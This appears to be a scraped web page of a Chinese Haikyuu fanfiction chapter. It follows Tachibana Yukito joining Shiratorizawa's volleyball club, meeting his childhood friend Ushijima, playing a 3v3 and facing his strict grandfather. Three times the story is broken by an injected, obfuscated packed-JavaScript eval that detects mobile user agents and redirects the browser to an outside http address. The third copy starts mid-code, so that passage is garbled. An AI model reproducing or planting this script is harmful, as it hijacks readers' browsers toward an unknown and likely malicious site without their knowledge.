《牛岛若利的天降幼驯染》 1. 新来的一年级生 “立花。” “立花!” “立花——!!!” “啊,抱歉抱歉。” 窗边的倒数第二排,向来是主角们的位置。此刻坐在这里的少年终于转过头,一张清淡却极其俊秀的脸,漂过的银白色头发在窗边携满樱花的风里略显得凌乱。 他笑着对来人说:“最近才改回了我妈妈原本的姓氏,有些不习惯,你就叫我雪兔也可以。” “好吧,那雪兔,你的报名表填好了没有?”五色工催促,“快快快,他们招满了可就完蛋了!” “不会吧……”立花雪兔从堆满了的漫画和小说的课桌上,艰难地找到那张空白的排球部报名表,“其实我还在考……” 五色工左手抓着报名表,右手抓着立花雪兔,根本不给他任何犹豫的时间,如一阵飓风般地冲出了教室后门,在长长的教学楼走廊上一路狂奔。 “跑太快了啊啊啊!我是说我还在考虑!到底要不要参加排球……” 你是二传啊。珍贵的二传。保护动物般的二传。五色工心说。 既然我立志要成为白鸟泽的新王牌,那么从一年级开始培养搭档就是必不可少的!我是不会放过你的,立花雪兔! 所以就不要想着…… “啊呀,这不是Yukito吗?本人比视频上更好看呢!要不要来我们摄影部啊?” “真的吗?是那位Yukito吗?来舞蹈部吧!完全就是爱豆啊。” “胡说,那孩子明明就长着一张演员脸吧,所以一定要来我们演剧部啊!” “轻音部也很欢迎你哟!” 时值三月,樱花落满校园。 各个社团在樱花纷飞中摆起了彩色的招募摊位,喧嚣热闹。 立花雪兔还没来得及仔细看看这只会出现在动画里的场景,也没来得及和这些分发传单的前辈们打招呼,就被五色工拽着手腕一溜烟跑远了,只留下一串尾气和一排面面相觑的脸。 ……就不要想着参加以上这些花里胡哨的社团了。五色工总结陈词。 这场狂奔终于在抵达一座辉煌的场馆时停下了。 “太好了!我们是到的最早的!”五色工回头看着喘息的立花雪兔,心说不行啊,这家伙的体力远远不合格啊。 但这是自己未来的二传,所以他并没有苛责,反而尽职尽责地向刚回国不久的立花雪兔同学介绍起了眼前的建筑: “在宫城县,说到排球部,就是白鸟泽啊;说到白鸟泽,就是排球部啊。俗话说得好,来了白鸟泽学院不加入排球部,就等于……” “……就等于没有加入排球部。”立花雪兔说。 五色工:“……” 五色工:“是等于就没有!诶、不对、等于没有什么来着?” 排球笨蛋。 纯纯的排球笨蛋啊。 但这毕竟是回日本之后交到的第一个朋友,立花雪兔还是很珍惜五色工的,而且这年头还尽职尽责当吐槽役的人也不多了。他叹了口气,对五色工说:“好吧,那我就先陪你看看排球部,进去吧。” 白鸟泽学院的排球馆,内部远远比外部更豪华。 层高15米,符合国际排球联合会规定的赛事级场馆,容纳了四个比赛场区和大面积的无障碍区,LED雪白的灯光照在琥珀色的地板上,显得整座场馆既高又宽敞。白鸟泽的排球部,就这样如巨幕电影一般在二人面前铺陈开来。 到处都是人的喊声,喘息声,以及扣球时排球哐哐砸在枫木地板上的声音,像是谁很用力的心跳。 这样的场景,一瞬间让立花雪兔回忆起了童年的夏天。 ……以及,那时候教自己打排球的人。 “哦哦哦!!!” 五色工开始语无伦次地大叫,并疯狂地摇晃立花雪兔,抓着他跑去了一场正在进行训练赛的场地边。 “快看!那就是我的偶像!” “白鸟泽的超级王牌!” 立花雪兔在混乱中,看见一个穿着1号运动服的高大身影一跃而起,LED灯的白光恰好朦胧了他的脸,只能看清楚那紧绷而流畅的肌肉线条,仿佛古希腊的雕塑,诠释着人类最原始的力量之美。仅仅是站在场地边,也能感受到他带来的巨大压迫。 他跳跃凌空,这一瞬间忽然被拉长得无比缓慢。 那击球的姿势,忽然与立花雪兔记忆中的小小身影重合起来。 立花雪兔:“!” 五色工说:“他就是!” 扣球,打手出界。 时间恢复原本的流速,排球如携着暴风,瞬间向着场地边的一年级生砸去。 “砰!” 训练赛中的所有选手,以及刚刚还在说话的五色工,都停住了。 大家看着接住了球的立花雪兔。 ……用脸接住的。 “一年级新生吗?”拦网的天童觉最先反应过来,“喂喂,小朋友们,不要站得离场地这么近啊,很危险的。” “没事吧?”方才击球的1号向他们走了过来。 五色工瞬间涨红了脸,语无伦次:“牛牛牛牛岛——” 立花雪兔双手接着球,脑袋从排球后探出来。那张漂亮的脸上有一个深深的红印,如果被摄影部、舞蹈部、演剧部和轻音部的前辈看见了,一定会非常痛心。 他眼泪汪汪,却来不及喊疼。 “若……利?”立花雪兔不确定地问。 走过来的人愣了一下,顷刻便笃定地说: “雪兔。” 天童觉:“诶?” 五色工:“诶?诶诶诶诶诶诶——” * 众人围着牛岛若利吃瓜,听得眼珠子都掉出来了。 “原来是牛岛小时候的邻居啊,所以是搬家了吗?一直都没有联系?”白布贤二郎很有兴趣地问。 “他回他爸爸妈妈那里了。”牛岛若利答。 “他的双亲不在宫城县吗?”大平狮音问。 “不在日本。”牛岛若利答。 “诶——”天童觉拉长了语调,揶揄地用肩膀撞了撞他,“若利,这不就是漫画里的幼驯染吗,幼·驯·染!而且是天降的幼驯染哦!” 白布贤二郎呛了一下。 牛岛若利看着立花雪兔正在填报名表的背影,想了想,认真地点点头:“是的。” “但我总觉得好像在哪里见过他?”濑见英太忽然说。 “怎么,难不成也是你的幼驯染吗?”天童觉笑着问。 “真的啦,你们不觉得他很眼熟吗?就是突然一下想不起来了……” “你这么一说好像确实耶。”天童觉若有所思。 “是像你喜欢的演员吗?”大平狮音加入讨论,“演贞子的那位。” “那位是女性啦!” “你们在干什么!”鹫匠教练不知道从哪里冒出来,“继续训练!” 大家迅速回到了场地里。 * 另一边,立花雪兔不知道从哪里抢了一只笔,趴在墙上奋笔疾书地填报名表。 开什么玩笑!也太帅了吧! 那只小小的牛团子,长大了怎么会变得这么帅啊!道德在哪里,底线在哪里,联系方式又在哪里!!! 五色工阴暗地碎碎念:“太狡猾了太狡猾了太狡猾了……” 立花雪兔:“哈?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380210|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明明说好一起来排球部,结果你和牛岛前辈早就认识,实在是太狡猾了!”五色工控诉。 “我哪知道会有这么巧的事情啊,我才回仙台几天耶。”立花雪兔心说,你早说他在排球部而且这么帅,我早就填报名表了啊! 五色工正想说谁会不知道白鸟泽的牛岛若利啊!全国高中生三大王牌之一哎!仔细想了想,这家伙倒是真的不知道,刚刚还差点被摄影部舞蹈部演剧部轻音部拉走了。 立花雪兔指着报名表的某一栏,用圆珠笔戳了戳五色工:“这是什么意思啊?” “技能啊,”五色工说,“su—ki—ru—,技能。” “Skill。”立花雪兔一边写一边吐槽,“鬼才看得懂片假名啊。” “对了,”五色工才想起来似的,“不仅牛岛前辈,刚刚一路上,各个社团的前辈也认识你,还都是漂亮的学姐!为什么?你不是才回来几天吗?” 立花雪兔叹了口气:“Go酱[1],智能手机是可以上网的,你知道吧?” “我当然知道了!但是Go酱又是什么鬼?” 可不一定啊,排球笨蛋们。 “那我应该不用向你解释什么是YouTuber了吧。”立花雪兔说。 五色工:“?” 在五色工觉得自己今天受到的冲击已经太多了的时候,立花雪兔又把手机给他,在一个叫做【Yukito】的YouTube账号下,有整整80万粉丝! “Instagram也有40万粉丝哦。”立花雪兔随口说,“你也给我点个关注吧。” 五色工:“真的假的啊?!” 五色工:“喂喂,那你岂不就是……” 立花雪兔突然捂住耳朵:“不不不,不要说那个词!” 五色工:“传说中的……” 立花雪兔:“停下啊!不要说!” 五色工:“网络红人?!” 立花雪兔:“………………” 立花雪兔扶额:“……太土了。” “大家为什么要关注你呢?”五色工没有在意他的吐槽,翻了翻YouTube和Ins,既没有排球教程也没有比赛锦集,实在不能理解这样庞大的粉丝数,“你只是在发一些乱七八糟的东西啊。” “因为脸啊。”立花雪兔指指自己,眨眨眼睛。 ——那张脸上被排球砸出的红印还没有消。 好了,现在会为之心痛的从四个社团前辈,扩大到了120万人。 “你是说仅仅因为你的脸长得好看,就有120万人愿意天天看你吃了什么东西去了什么地方吗?”五色工震惊。 “是这样没错呢。” “你在网上发过排球的内容吗?” “没有诶。” “从今天开始可以发排球了。”五色工郑重地握了握他的手,“太好了,以后我们去打大赛的话,是不是全国都会有我们的粉丝啊……” 立花雪兔的表情:(˙-˙)# 不过,说不定也挺好的呢,排球部。立花雪兔忽然想。 咚咚。咚咚。 排球不断地砸在地板上,像谁的心跳。 他转头看向训练赛的场地。场地里有人高高跃起,击中排球,又被人接起,高高地传回来。所有人都仰着头,向上看,没有人回头。 我也要开始新的生活了,立花雪兔对自己说,向上看,不要回头。 “Go酱。” “嗯?”五色工已经对这奇怪的昵称接受良好了。 “报名表交给谁啊?”立花雪兔指了指盯着训练赛的鹫匠教练,“是那位看起来就凶巴巴的老爷子吗?” 2. 入部的3V3 当然不是。 新生的入部考核由年轻的斋藤教练负责。 白鸟泽本来就是体育强校,有牛岛若利在的排球部更是热门中的热门。除了从初中部直升的一年级生之外,还有大把从别的学校慕名考进来的新生在等着加入。 所以排球部的入部考核十分严格,筛选是第一步,之后还有一段时间的试训。据说受不了严苛的训练、之后哭着退出的也大有人在。 “来来来,”斋藤教练在另一边的空场地上喊他们,“无排球基础的同学们先考核体能,现在列成一队,绕场跑十圈。有基础的同学留下。” 超过半数的人去跑圈了,只剩下立花雪兔、五色工和同班的寒河江勇将,以及几个不认识的一年级生,继续站在斋藤教练面前。 “我看看你们填的位置……”斋藤教练挑出了他们的报名表,一个个翻阅,“主攻手、主攻手、副攻手、二传、接应、接应……嚯,还挺齐的嘛。来吧,我先量量你们的身高和体重。” 五色工第一个,181.5cm/69.5kg,看见斋藤教练满意的神情,妹妹头主攻手露出了得意的笑。 立花雪兔第二个,呜呜噫噫地脱了鞋上称。 “178.6cm。”斋藤教练说。 “你不是看起来和我一样高吗?”五色工奇怪地问,“怎么没有到180?难道你的鞋……” “再问一句我就杀了你。”立花雪兔生无可恋。 “还可以啦,你们才一年级,还会长的。”斋藤教练记录他们的数据,“但是这位立花同学,你怎么才59.8kg?太瘦了!低于58kg就不要来排球部了。” 接着是测指高、摸高。这两项立花雪兔的成绩都还不错。在一系列数据测完之后,跑圈的同学们也结束了,斋藤教练看见了几个体能明显很好的,又很满意地点了点头,让他们继续测别的项目了。 “如果今天让我去跑十圈的话我肯定就死了。”立花雪兔悄悄地对五色工说。 “以后也要跑的。”五色工答,“别担心,你死之前我会拖着你跑完的。” 立花雪兔无语望天花板,视线却时不时飘向另一个高大的背影。 ……什么嘛。 一句话也不和自己说。 成了白鸟泽的超级王牌,就不理人了吗。 * 视线的另一边,队内的训练赛在牛岛若利的一记重炮下,以2:1结束。 “刚刚我说的几个问题要记住。”鹫匠教练说,“好了,今天你们先自主练习,我去看看新来的小鬼们。” “是!” “诶,我也想看看新来的小不点们呢。”天童觉伸了个懒腰。 “你只是想欺负后辈吧。”山形隼人无情地指出。 “前辈和后辈之间的事,怎么能叫欺负呢!” 牛岛若利顺着鹫匠教练离去的方向,静静地看着隔壁场地上高挑、瘦削到有些单薄的背影。 “牛岛?”白布贤二郎在旁边喊他,“我给你托球吧?” 牛岛若利转身,收回了视线。 “好。”他说。 鹫匠教练看了看斋藤教练记录的数据,没什么表情。 目前留下的一排有六个人。 五色工站在队伍里,一脸骄傲且期待地看着鹫匠教练。立花雪兔刚才有一点走神,忽然也被鹫匠教练点到了。 “你们三个。”鹫匠教练指的是五色工、立花雪兔以及另一个不认识的同学,三人是六人中最高的,“打一场3V3吧。” 不认识的同学介绍自己:“一年6班,天羽拓海,副攻。” 五色工:“4班,五色工,主攻。” 立花雪兔:“同上,立花雪兔,二传。” 3V3的规则稍微有些改动,节奏也比较快,大概是鹫匠教练想在短时间里迅速看看他们的实力如何。 他们三人站到一块儿,剩下的三人便也自动站到了一块,准备热身上场。 “我没说让你们和另外三个打。”鹫匠教练说,“自己去挑对手吧。” 立花雪兔茫然:“我日文现在还不太好,这是什么意思?” “什么!我们可以自己挑对手吗?!”五色工检测到偶像自动输出牛岛若利、检测到王牌自动输出牛岛若利就算了,检测到对手竟然也敢输出,“牛岛——” 立花雪兔和天羽拓海双双震惊:“我们打牛岛若利……?真的假的?” “我也不是让你们挑。”鹫匠教练哼了一声,转头问高年级队员,“小子们,你们谁想和这几个小鬼打3V3?” 五色工的眼里闪烁着星星:“牛岛前辈——” “你快别喊了。”立花雪兔拦住他,“怎么可能打得过啊?” “你在说什么啊,就算会输,也是难得的机会啊!” “嘛,说得也是。”天羽拓海点点头,活动了一下胳膊,“不抱着打败牛岛前辈的心情,怎么能成为排球部的正选队员呢?” ……你们也太热血了吧,我们是在演什么热血运动番吗?立花雪兔默默想。 立花雪兔之前刻意控制着自己的视线,不要总是盯着隔壁场地的某个身影,但现在可以理直气壮地看过去了。 立花雪兔飘飘忽忽地投去目光,接着愣了一下。 牛岛若利正在直直地望着自己。 没有任何掩饰,也没有任何表示。 他只是看着。 “后辈都这样说了,怎么样,若利?”鹫匠教练问,“要打吗?” 牛岛若利点头:“可以。” “那么,我也。”白布贤二郎说。 “我也要来我也要来!”天童觉高高地举起了手。 直到站到了球场另一侧,新生三人组才反应过来自己面对的是什么对手。 牛岛若利、天童觉、白布贤二郎。 “这什么正选梦之队啊……”天羽拓海喃喃道。 而在他身边,又是士气过于高涨的五色工,和士气过于低落的立花雪兔。 “3V3,简化一下规则,一局15分,三局两胜。”斋藤教练说。 “好了好了。”二人之间的中间值天羽拓海只能安慰道,“拿十分就已经很棒了,能拿下一局更是大胜利!” 立花雪兔挣扎了一番,迅速调理好自己,抬头。 原本他的性格也不怎么样,娇气又软弱,但是在十六岁生日前,一连串的变故相继发生,他一个人拖着自己所有的行李从虹桥飞到仙台,在那之后他就能迅速地接受任何事情了。 对面的网前,牛岛若利看着他,忽然很浅地笑了一下——立花雪兔怀疑自己的眼睛出毛病了,或者他只是在活动嘴角,恰好上扬了0.1个像素点。 “加油。”牛岛若利对后辈们说。 虽然知道他是真心的,但也还是很像赛前的嘲讽啊……立花雪兔心说。 不过—— 没有比这更好的重逢了。 虽然从站在网的同一侧,变成了站在网的对面,若利。 “好厉害,小雪兔的眼神一下就变了呢。”天童觉饶有兴趣地看着他。 裁判吹响口哨。 第一局,发球方新生组,五色工。 立花雪兔和天羽拓海抱着后脑勺站在网前,五色工深深地吸气,抛球,助跑,一个大力的跳发! ——擦网,球掉了回来。 【0:1】。 五色工抱住自己的妹妹头:“啊啊啊啊啊啊!!!” 天羽拓海嘴角抽搐:“一上来就这样啊。” “别在意。”立花雪兔反而镇静了下来,盯着对面正在转球的白布贤二郎,“我们现在要想的,是眼前的这一球。” “……你说得对。”五色工大力地揉了揉自己的脸。 发球方前辈组,白布贤二郎。 一个略显得普通的发球。立花雪兔松了口气。 幸好是他发球,如果是牛岛若利,可能他们到死都拿不回发球权了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380211|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我来!” 天羽拓海的一传稍微不太到位,立花雪兔艰难地调整,但在五色工跳起来准备扣球的瞬间,牛岛若利和天童觉已经像两堵铁壁拦在网前了。 五色工:“……!” 他改打了个反弹球,球飞了回来,这一下天羽拓海接得很好,五色工重新起跳,而天羽拓海也从后排进攻。 立花雪兔侧着身体在网前起跳,双手传球。 “会传给谁呢小雪兔?” 天童觉几乎从来没有思考过,只是凭借身体的本能起跳拦网。但是这一球对新生组来说是个鼓舞五色工的好机会,弥补他刚刚跳发失误的士气——没错,士气这种东西是很重要的。 “砰!” 蓝黄相间的一道流星坠落。 【1:1】。 立花雪兔在传球的前一个瞬间改为单手击球。 ——二次球! 五色工和天羽拓海相继挥空,反应过来的时候球已经落地。 二人:“啊?!” 立花雪兔比了个耶:“嘿嘿。” 天童觉:“……” “别在意,天童前辈。”白布贤二郎说。 “诶。”天童觉露出洞察的笑容,“……刚上场就用二次球得分,原来是这种性格的孩子啊。” 牛岛若利似乎毫不意外,平静地说:“是的。” “我知道了。”天童觉说,“不过,小雪兔和若利完全不一样呢,真亏你们小时候能玩到一起去啊。” “……”牛岛若利顿了顿,不知道想到了什么遥远的事,“嗯。” 发球方新生组,天羽拓海。 对面顺利地接起了这一球,并且传给了牛岛若利。那标志性的扣杀姿势,远远凌驾于2.43米的球网之上,竟是瞄准了新生组的二传立花雪兔。 毫不讲道理的野蛮大力扣杀! 立花雪兔看见这一球就已经感觉小臂痛了起来,心说这是什么杀人排球啊,但身体反应先于大脑,做出了接球的姿势。 五色工大喊:“我来!” 立花雪兔赶紧往旁边给他让位置,由于落球点刁钻且针对,二人跑动的过程就显得有些慌乱,阵型也被打乱。天羽拓海将球击回去,仍然被对面接了起来。新生三人还没来得及调整好站位,球又经过白布贤二郎之手,稳稳地传给了牛岛若利! 那高大的身影如同一道无法逾越的高墙,再一次凌驾于他们之上。 这一球仍然针对立花雪兔。 无论是五色工还是天羽拓海都来不及帮忙接这一球了。 立花雪兔迅速降低重心,摆出标准的接球姿势,但绝对力量大于一切,那一球重重地砸在他的小臂上,将他砸得翻了一个跟头。 球高高地弹回了对面的场地。 “Chance ball!” 立花雪兔刚从翻滚中稳住自己,还没回过神,就看见一记毫不犹豫的探头球[1],从他身边呼啸而过。 【1:2】。 场边,大平狮音感慨道:“真是漫长而努力的一球啊。” “还不是没接到。”山形隼人说,“没接到的球,没有任何意义。” 场内。 立花雪兔:“……!” 他半跪在地上,而网前的牛岛若利在击落那一球之后,便居高临下、不带任何表情地俯视着他。 这就是他们之间的距离。 整整六年的时间,他永远在前方、在高处,那距离已经遥远到几乎不可能追上了。 ……一份迟到六年的不甘心,汹涌而来。 立花雪兔咬着嘴唇,狠狠地瞪着牛岛若利。 牛岛若利:“?” “鹫匠教练,我们是不是太操之过急了?”斋藤教练推了推眼镜,“无论怎么想,让三个新生打我们的三个正选都是不可能的事情,要不要……” “哪有中途放弃的比赛?”鹫匠教练端坐在长凳上,冷哼一声,“继续,这场比赛还有的看呢。” 3. 七点的辛德瑞拉 第一局以【9:15】结束了。 “果然还是太勉强了吗……”斋藤教练记录着比赛中的各项数据和情况,若有所思地喃喃,“不知道鹫匠教练到底想看到什么呢?” 第二局,仍然从新生组开始发球。 立花雪兔一下一下地拍着球,脑袋里什么幼驯染重逢、十六岁一个人漂洋过海来到异国是不是很可怜、打排球会死人吗之类乱七八糟的想法都没有了。 排球就是一项有魅力的运动,他的脑子里现在只有: 如何拿下眼前的这一球。 严肃的教练也好。 强大的前辈也好。 “——都别小瞧人了!” 立花雪兔双手抛球,起跳,用掌根用力将球击出去。 在对方接到球的前一瞬间,球却扭了一个诡异的角度,落地。 界内。 【1:0】。 ——铺满金色阳光的盛夏庭院,一瞬间在牛岛若利的脑海里闪现。 更小、更瘦弱的孩子抱着排球,赌气地说:“崇叔叔,我不想玩了,若利哥哥比我高大,我打不过他啦。” 那时候还没有改回“空井”姓氏的爸爸,笑着对他说:“雪兔,排球不仅仅是高大的人才能打的哦。这样,我教你一个小个子也可以学的绝招吧?” “什么绝招?”小小的立花雪兔吸了吸鼻子,怀疑地问,“像黑崎一护的月牙天冲那样的吗?” “哈哈哈哈,对,就像月牙天冲那样。” “我要学!”立花雪兔又说,“而且你不要教若利哥哥!这样就是我的绝招了!” “跳飘球?”天童觉的声音将他从遥远的回忆里拉了出来,“越来越有意思了,小雪兔怎么像JUMP主角一样,过一会儿就放一个技能啊。” “对,他会。”牛岛若利顿了顿,“抱歉,我忘记提醒了。” “没事没事,下一球。” 五色工:“哦哦哦你还会这一招啊!” “嘿嘿!有人专门教过我。”立花雪兔得意地说。 “再来一球!”天羽拓海喊。 说得轻松,但跳飘球和二次球一样都是一次性的技能,得过一次出其不意的分就会被提防,一直到对方再次放松警惕之前都很难再有第二次。 某种程度上来说这也确实是“技能”,存在冷却时间。 第二个球并没有被接起来。 界外。 【1:1】。 “哎呀,抱歉,太久没打了。”立花雪兔挠了挠头。 “没关系!已经很不容易了!”五色工说。 怎么可能没关系啊。 立花雪兔看向对面的发球员。 没错,发球权又回到了恐怖的牛岛若利手里。 不过,这场3V3说是跳发接球训练也不为过,经过前一整局的拷打,新生组在接球这件事上竟然都有所进步。斋藤教练心想,难道这就是鹫匠教练的目的吗?锻炼新生们在极端条件下的学习能力? 就连三人之中基本功最弱的立花雪兔,也偶尔能痛苦地接住一两个牛岛若利的发球了。 【5:8】。 …… 【11:13】。 …… 【14:14】。 “这一局小鬼们的比分一直都咬得很紧啊,某种程度上来说,他们的学习能力也挺可怕的。”山形隼人说。 “嗯。”大平狮音点头,“这样就还没办法结束了。” 比分追平,双方谁再拿下一球,就可以来到赛点。 新生组,天羽拓海发球。 对面稳接下一球后迅速组织进攻,一记重扣球又被天羽拓海接住。 “哇,我这一球也接得太好了吧!”连天羽拓海自己都不由得惊叹,“夸我啊立花同学!” “我哪有空啊!”立花雪兔大喊。 是的,又是一个很好的球,高度、角度、网前距离,正正好好。 立花雪兔的目光,落在自己对面那一小块的空地上。 二次球,冷却时间已到。 “啊呀呀,小雪兔。”天童觉捕捉到了他的目光,立刻拦在网前,“我们是不会再——” 立花雪兔笑了。 “还是中计了,觉前辈。” 他将球传给了五色工。 天童觉:“?!” 天童觉二次球拦空后再次起跳,与牛岛若利共同拦网。五色工却忽然感觉眼前视线无比开阔,清楚地看见了两双手之间的缝隙,猛地打出了一个小斜线球! 界内! 【15:14】! 竟然是新生组率先来到赛点! 五色工难以置信:“我刚刚打出了什么东西?!我刚刚打出了什么东西?!” “明明是因为我一开始接得就很好吧!”天羽拓海说,“喂!立花!现在可以夸我了吧!快夸我!” 二人齐齐围着立花雪兔,抓着他团团转,立花雪兔的脑浆都快被他俩晃匀了。 “别吵了!还没赢呢!” “对对,还没赢。” 场外,观众席和教练席上,大家的脸色却都不是很好。 “喂喂,你们应该也发现了吧,那孩子简直就是……”大平狮音端详着站在一边的濑见英太,终究没有说出口。 “没有什么不好说的。”白鸟泽的原二传,濑见英太,面色平静地说,“简直就是「白鸟泽最不需要的」那种二传。” 众人沉默。 场地内,前辈组以迅雷不及掩耳之势,连拿下两分,最后以【0:2】的大比分结束了这一场3V3比赛。 双方鞠躬,握手。 “得意忘形了啊。”立花雪兔扼腕痛惜。 “但我的小斜线真的很帅啊。”五色工说。 “我的接球也是。”天羽拓海第108次强调,“那可是牛岛前辈的扣球!” “你的战术也很不错啊,小雪兔。”天童觉哈哈大笑,掀起球网钻了过来,把新生三人一把揽在怀里大力地揉搓。 “你、别——我的脸还很痛——” * 今天的社团活动结束,新生的考核数据由斋藤教练整理,明天才会公布入部名单。鹫匠教练也向正选队员交代了几句,今天就可以解散了。 “您辛苦了!” 大家纷纷收拾东西准备去吃饭。 立花雪兔被五色工一路拉过来,除了手机,什么都还落在教室里。 “都怪你,我现在还要回教室拿东西……”立花雪兔对五色工碎碎念。 而正选队员那边,大平狮音朝他挥了挥手里挂着chiikawa吊绳的手机——刚刚立花雪兔比赛之前,将手机交给了一位“看起来就很靠谱”的前辈帮忙保管。 “谢谢前辈!”立花雪兔说。 “你的手机刚刚响了,可能有人找你。”大平狮音说。 “啊呀,你们俩在这里啊,要不要一起去食堂吃饭?”天童觉长长的胳膊又搭上了立花雪兔和五色工,懒懒散散地把自己挂在他们身上。 立花雪兔解锁手机,已经18:46了。 还有一封未读邮件在16分钟前送达,静静地躺在邮箱里。 立花雪兔:“!!!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380212|168436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >五色工:“承蒙前辈邀请,晚辈荣幸之至!” 天童觉:“小雪兔你……” “我是通学生[1]!”立花雪兔几乎夺门而出,头也不回地丢下一句话,“抱歉!我还有事先走啦!” 天童觉:“……呢?” 刚刚单独和鹫匠教练谈完话,正准备去找立花雪兔的牛岛若利,与话音未落的天童觉一样,只看见了他狂奔而去的背影。 牛岛若利淡淡地:“?” 要死了要死了要死了—— 立花雪兔一路狂奔回教室,教室门都已经锁了,他只能从窗户翻进去,再带着自己的书包和滑板翻出来。 一出教学楼,他立刻踩上滑板,一阵风似的从校园里刮过。 校门口,有一个高大的身影站在那里。 “雪兔。”整整一天,牛岛若利才和重逢的幼驯染说上了第二句话,“我刚刚问了五色,他说你回教室拿东西,所以我在这里等你。” 啊啊啊我也想和你说话但是现在真的没时间啦! 立花雪兔欲哭无泪,经过他的时候甚至都没有减速,大喊着:“抱歉啊若利!明天见!”就滑远了。 ——我连他的LINE都没加啊啊啊!!! 只能明天再说了。 立花雪兔悲惨地低头看时间,18:50,他还有十分钟。 那封未读邮件来自于一位在21世纪还坚持使用邮件联系,而不用LINE的老古董。写邮件的方式也还是上个世纪的。 「致立花雪兔君: 现已18时30分,请遵守立花家之规定,于19时前准时抵达家中。 盼复。 ——立花浩介」 万幸立花家离白鸟泽学园很近,且有一条慢跑步道,可以让立花雪兔一路超速无阻地滑滑板。 18:59。 立花雪兔像小旋风一样刮进了一幢日式独院住宅里,进去之后是一条蜿蜒的鹅卵石小路,没法滑滑板,他只能把滑板抱在胳膊底下,一路跑过庭院里的枯山水、罗汉松、石灯笼和惊鹿[2]。 一位穿着青色羽织的老者,板着脸站在小路尽头。 “邮件也不回,我说过了,家里七点准时吃晚饭。还有一分钟,你就打算这样一身脏兮兮的臭汗坐到餐桌上吗?” “抱歉,外公。我今天……” “回房间收拾好再出来。”立花浩介打断他。立花雪兔刚把滑板放在长廊底下,他又说,“这种东西不许放在我的庭院里。” “嗯。”立花雪兔点点头,没再说话,抱着滑板回了三楼的房间。 “啊啦,雪兔回来啦。”立花薰子在餐厅里说。 “外婆,我很快就来吃饭,给你们添麻烦了。” 等他上楼,立花薰子才状似不经意地问立花浩介:“老头子,你是不是对雪兔太凶了?” “哼,二十年前就断绝关系的女儿,离婚之后丢到这里的小儿子,我给他一口饭吃就不错了。” “你这样说也太……” “你看他,贪玩、胡闹,满身的汗跑来跑去,一点规矩也没有,和真琴小时候简直一模一样。” “真琴的孩子,当然和她一模一样了。” “再不严加管教!就会变成另一个真琴!”立花浩介气呼呼地说,“而且你看他的头发!真不知道为什么,好好的小孩子,要把头发弄成银白色!” “现在的年轻人都这样啊,你看隔壁的若利,不也……” “胡说!人家若利的头发是天生的!” “我看也未必,我听美香说,若利的那种闷青色现在很流行呢……” 4. 更新的Instagram 禁止冷冻或预制菜。 速食、快餐更是大忌。 每日五菜一汤,以符合四时节令为宜。 烹饪方式宜蒸、煮,不宜煎、炸,以清淡、保留食材本味为佳。 吃饭时不能说话,不能看电视,不能刷手机。 ——立花家的规则怪谈·晚餐篇 立花雪兔不敢让外公再等,在浴室里待了十分钟就赶紧出来了,匆匆换了一套蓝色的居家服,胸前印着一只趴着的小八。 立花浩介看着他还在滴水的浅色头发,欲言又止,止言又欲,最后重重地叹了一口气,说:“开饭吧。” 立花雪兔垂眸,乖乖地跪坐在蒲团上,腰背挺直。 端庄典雅、华而不奢的日式豪宅,对他来说只是一场酷刑。坐下不到一分钟整条腿就麻了,却又不能乱动,否则会被呵斥坐没坐相;而家中的佣人美香在得到开饭的指令后为他们端上的漆盒,更是堪称立花雪兔的挑食大全:盐烤牛舌配山葵、牛腩煮芋头、清炖黑鲷鱼配柠檬汁、盐渍茄子和青豆牡蛎味增汤。 他不吃动物的器官,不吃有腥味的东西,不吃青豆。 也不爱吃清淡的东西,不爱吃味噌,不爱吃咸味或酸味,几乎完全就是日本老人的反义词。 他是一个在长身体的青春期少年,习惯吃中国菜,也像所有同龄人一样爱吃甜的、香的和辣的,爱吃汉堡炸鸡披萨牛排,喝奶茶、果汁和碳酸饮料。 当然,立花雪兔什么也不敢说。 他只能低着头,跪坐在没有知觉的腿上,默默用尖尖的筷子拨弄碗里的煮芋头,像小猫一样小口小口地吃着。 这场酷刑要持续半个小时。 直到立花浩介吃完饭、喝过焙茶、说过“谢谢款待”并站起身之后,立花雪兔才能如释重负地离开。 今天也是一样,立花雪兔低头正数着碗里的米,立花薰子却看了看他,低声对美香吩咐了几句。过了一会儿,美香就端了一碟松叶蟹柳玉子烧出来,放在立花雪兔面前。 立花雪兔微微诧异地抬头。 立花薰子没什么表情,自如地吃着饭。她完全就是昭和时代的大家闺秀,即使老了也非常美丽优雅。 时代对她的规训是从不插手任何丈夫决定的事物,她从少女时期开始就只用插花、煮茶、弹奏三味线、在需要的任何时候以得体的模样出现在丈夫的身边。在这个家中,为立花雪兔端上一碟立花浩介允许之外的玉子烧,也许是她能做出的最大改变。 